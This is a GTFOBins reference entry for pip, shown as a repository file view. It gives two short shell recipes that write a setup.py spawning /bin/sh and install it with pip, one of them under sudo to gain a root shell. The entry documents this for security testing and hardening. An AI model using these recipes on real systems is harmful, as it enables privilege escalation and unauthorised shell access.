GTFOBins.github.io/_gtfobins/pip.md
2018-09-06 19:18:12 +02:00

18 lines
558 B
Markdown

---
description: |
More generally, this allows to execute arbitrary Python code.
See the entries of Python [version 2](/gtfobins/python2/) and [version 3](/gtfobins/python3/).
functions:
execute-interactive:
- code: |
TF=$(mktemp -d)
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
pip install $TF
sudo-enabled:
- code: |
TF=$(mktemp -d)
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
sudo pip install $TF
---